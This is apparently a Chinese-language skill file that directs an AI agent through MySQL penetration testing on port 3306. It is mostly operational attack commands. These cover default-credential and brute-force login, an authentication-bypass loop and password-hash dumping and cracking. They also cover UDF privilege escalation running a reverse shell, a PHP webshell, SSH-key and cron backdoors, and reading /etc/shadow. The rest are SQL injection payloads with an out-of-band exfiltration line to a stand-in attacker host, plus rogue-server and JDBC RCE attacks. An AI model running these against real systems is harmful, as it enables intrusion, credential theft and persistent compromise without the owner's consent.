| name | mysql-pentesting |
| description | MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。
当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。
|
| metadata | {"tags":["mysql","数据库","3306端口","udf提权","文件读写","sql注入"],"category":"exploit/network-service"} |
MySQL 渗透测试方法论 (3306)
深入参考
整体决策树
发现 3306 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 MySQL/MariaDB 版本
│ ├─ 识别操作系统与运行用户
│ └─ 检测 secure_file_priv / local_infile 配置
├─ Phase 2: 认证测试
│ ├─ 匿名/空密码登录
│ │ ├─ 成功 -> 直接进入 Phase 3
│ │ └─ 失败 -> 默认凭据 -> 暴力破解
│ ├─ 默认凭据 (root:空, root:root, root:toor 等)
│ └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x)
├─ Phase 3: 数据库枚举
│ ├─ 库/表/列枚举 (information_schema)
│ ├─ 权限枚举 (SHOW GRANTS / mysql.user)
│ │ ├─ FILE 权限 -> 进入 Phase 4 文件读写
│ │ ├─ SUPER 权限 -> 进入 Phase 4 UDF
│ │ └─ 普通权限 -> 提取敏感数据,尝试密码复用
│ └─ 用户哈希提取 (mysql.user / mysql_hashdump)
├─ Phase 4: 权限提升
│ ├─ UDF 提权 (lib_mysqludf_sys)
│ │ ├─ Linux: .so 加载 -> sys_exec()
│ │ └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建
│ ├─ 文件读写
│ │ ├─ LOAD_FILE() 读取系统文件
│ │ ├─ INTO OUTFILE 写入 Webshell / .pth payload
│ │ └─ LOAD DATA LOCAL INFILE (客户端文件读取)
│ └─ MySQL 客户端 Shell (\! sh)
├─ Phase 5: MySQL 注入利用
│ ├─ UNION 注入 -> 信息泄露 / 文件读写
│ ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带
│ └─ Rogue MySQL Server -> 客户端文件窃取
└─ Phase 6: 已知漏洞
├─ CVE-2012-2122 — 认证绕过 (memcmp timing)
├─ CVE-2023-21971 — JDBC propertiesTransform RCE
└─ Rogue/Fake MySQL Server 攻击 JDBC 客户端
Phase 1: 服务发现与版本识别
1.1 端口扫描与版本探测
nmap -sV -p 3306 --script mysql-info,mysql-enum <IP>
nmap -sV -p 3306 --script "mysql-*" <IP>
1.2 Metasploit 版本探测
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
1.3 运行用户与关键配置
识别 MySQL 运行身份
├─ 本地 Shell 已获取
│ ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user"
│ ├─ systemctl status mysql | grep "user"
│ └─ ps aux | grep mysql
└─ 仅 MySQL 连接
├─ SELECT @@version, @@datadir, @@basedir;
├─ SHOW VARIABLES LIKE 'secure_file_priv';
├─ SHOW VARIABLES LIKE 'local_infile';
└─ SHOW VARIABLES LIKE 'plugin_dir';
关键判断:
secure_file_priv 为空 -> 可任意路径读写文件
local_infile 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面
- MySQL 以 root 运行 -> UDF 提权后直接获取系统 root
Phase 2: 认证测试
2.1 认证决策树
尝试连接 MySQL
├─ 1) 匿名/空密码
│ ├─ mysql -h <IP> -u root
│ ├─ mysql -h <IP> -u root@localhost
│ └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP>
├─ 2) 默认凭据
│ ├─ root:(空) / root:root / root:toor / root:mysql
│ ├─ admin:admin / test:test / guest:guest
│ └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取)
├─ 3) CVE-2012-2122 认证绕过
│ ├─ MariaDB / MySQL 5.1.x 受影响
│ ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过
│ ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│ └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump
├─ 4) 暴力破解
│ ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql
│ └─ Metasploit: auxiliary/scanner/mysql/mysql_login
└─ 5) 本地提权路径
├─ /etc/mysql/debian.cnf 明文密码
├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件
└─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录
2.2 本地 Socket 认证检测
当已获取目标 Shell 时,本地 socket 是最快的突破口:
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null
mysql -S /run/mysqld/mysqld.sock -u root -e \
"SELECT user,host,plugin FROM mysql.user;" 2>/dev/null
Phase 3: 数据库枚举
3.1 基础枚举
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();
3.2 权限枚举决策树
检查当前权限
├─ SHOW GRANTS FOR CURRENT_USER();
├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER();
├─ 检查 FILE 权限
│ ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
│ ├─ 有 -> 标记进入 Phase 4 文件读写
│ └─ 无 -> 尝试其他提权路径
├─ 检查 SUPER 权限
│ ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
│ ├─ 有 -> 标记进入 Phase 4 UDF
│ └─ 无 -> 检查 CREATE/INSERT 等组合权限
└─ 自定义函数检查
├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys';
└─ 存在非系统函数 -> 可能已有 UDF 后门
3.3 用户哈希提取
SELECT user,authentication_string FROM mysql.user;
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
3.4 Metasploit 自动枚举
msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
Phase 4: 权限提升
4.1 UDF 提权决策树
MySQL 以高权限运行 + 拥有 FILE/SUPER 权限
├─ 获取 plugin_dir 路径
│ └─ SHOW VARIABLES LIKE '%plugin%';
├─ 获取 UDF 库文件
│ ├─ sqlmap: locate "*lib_mysqludf_sys*"
│ ├─ Metasploit: locate "*lib_mysqludf_sys*"
│ └─ 手动编译 raptor_udf2.c
├─ Linux (.so)
│ ├─ 通过 table blob 中转写入 plugin_dir
│ ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
│ └─ SELECT sys_exec('reverse shell command');
├─ Windows (.dll)
│ ├─ 同上,使用 .dll 文件
│ ├─ plugin_dir 不存在? -> NTFS ADS 创建目录
│ │ └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION';
│ └─ SELECT sys_exec("net user attacker P@ss /add");
└─ 利用后清理
└─ DROP FUNCTION sys_exec;
-> 读 references/mysql-techniques.md 获取完整 UDF 步骤
4.2 文件读写决策树
拥有 FILE 权限 + secure_file_priv 不限制
├─ 读取文件
│ ├─ SELECT LOAD_FILE('/etc/passwd');
│ ├─ SELECT LOAD_FILE('/etc/shadow'); # 需 mysql 用户有读权限
│ └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
├─ 写入文件
│ ├─ Webshell
│ │ └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
│ ├─ Python .pth RCE
│ │ ├─ 写入 .pth 到 site-packages 目录
│ │ ├─ .pth 中 import 语句自动执行
│ │ └─ 触发: 请求任意 Python CGI 脚本
│ ├─ SSH 公钥写入
│ │ └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys';
│ └─ Cron Job 写入
│ └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor';
├─ 二进制数据写入
│ ├─ CONVERT(unhex("..."), BINARY)
│ └─ CONVERT(from_base64("..."), BINARY)
└─ 限制
├─ INTO OUTFILE 不能覆盖已有文件
└─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整
4.3 LOAD DATA LOCAL INFILE (客户端文件读取)
Rogue MySQL Server 攻击
├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件
├─ 前提: 客户端 local_infile=ON (许多客户端默认开启)
├─ 工具
│ ├─ Rogue-MySql-Server (Python)
│ └─ mysql-fake-server (Java)
├─ 攻击流程
│ ├─ 启动 Rogue Server 监听 3306
│ ├─ 诱使目标连接 (DNS 劫持 / 配置篡改)
│ └─ 自动读取客户端本地文件 (/etc/passwd 等)
└─ JDBC 扩展
├─ allowLoadLocalInfile=true -> 文件读取
└─ autoDeserialize=true -> 反序列化 RCE
4.4 MySQL 客户端 Shell
\! sh
\! bash
\! id
Phase 5: MySQL 注入利用
5.1 注入决策树
发现 MySQL 注入点
├─ UNION 注入
│ ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,...
│ ├─ 信息收集: version(), user(), database()
│ ├─ 数据提取
│ │ ├─ UNION SELECT table_name FROM information_schema.tables
│ │ └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'
│ └─ 文件操作 (需 FILE 权限)
│ ├─ UNION SELECT LOAD_FILE('/etc/passwd')
│ └─ UNION SELECT ... INTO OUTFILE '/path/shell.php'
├─ 报错注入
│ ├─ extractvalue(1, concat(0x7e, (SELECT ...)))
│ └─ updatexml(1, concat(0x7e, (SELECT ...)), 1)
├─ 盲注
│ ├─ 布尔盲注: AND (SELECT ...) = 1
│ └─ 时间盲注: AND IF(..., SLEEP(5), 0)
├─ 带外注入 (OOB)
│ └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a'));
└─ 空格绕过
├─ /**/ 注释替换
├─ /*!*/ 版本注释
└─ %09 / %0a / %0d 替代空格
Phase 6: 已知漏洞
6.1 漏洞检测决策树
MySQL 版本已知
├─ MySQL 5.1.x / MariaDB 特定版本
│ └─ CVE-2012-2122 认证绕过
│ ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│ └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done
├─ MySQL Connector/J <= 8.0.32
│ └─ CVE-2023-21971 (propertiesTransform RCE)
│ ├─ 前提: 可控制 JDBC 连接字符串
│ └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil
├─ 客户端连接 JDBC
│ ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取
│ └─ autoDeserialize=true -> Rogue Server 反序列化 RCE
├─ Windows 目标
│ └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行)
└─ 通用检测
└─ nmap -sV -p 3306 --script mysql-vuln* <IP>
6.2 哈希破解
提取到 MySQL 哈希
├─ mysql_native_password (MySQL 5.x)
│ ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt
│ └─ John: john --format=mysql-sha1 hashes.txt
├─ caching_sha2_password (MySQL 8.x)
│ ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt
│ └─ John: john --format=mysql-sha2 hashes.txt
└─ 旧版 MySQL 3.x/4.x
└─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt
后渗透 — 本地审计检查清单
获取 Shell 后对 MySQL 配置的快速审计:
| 检查项 | 风险说明 |
|---|
secure_file_priv = "" | 允许任意路径文件读写 |
local_infile = ON | LOAD DATA LOCAL 可用,Rogue Server 攻击面 |
| MySQL 以 root 运行 | UDF 提权直接获取系统 root |
/etc/mysql/debian.cnf 可读 | 含 debian-sys-maint 明文密码 |
~/.my.cnf / ~/.mylogin.cnf 存在 | 含用户凭据 |
auth_socket 插件启用 | 本地 socket 无密码登录 |
skip-networking 未设置 | 远程连接可用 |
关键配置文件路径
Linux
├─ /etc/my.cnf
├─ /etc/mysql/my.cnf
├─ /var/lib/mysql/my.cnf
├─ ~/.my.cnf
├─ ~/.mysql_history # 命令历史
└─ /var/lib/mysql/mysql/user.MYD # 用户哈希
Windows
├─ C:\Windows\my.ini
├─ C:\MySQL\data\
└─ <InstDir>\mysql\data\
-> 读 references/mysql-techniques.md 获取完整技术细节与命令参考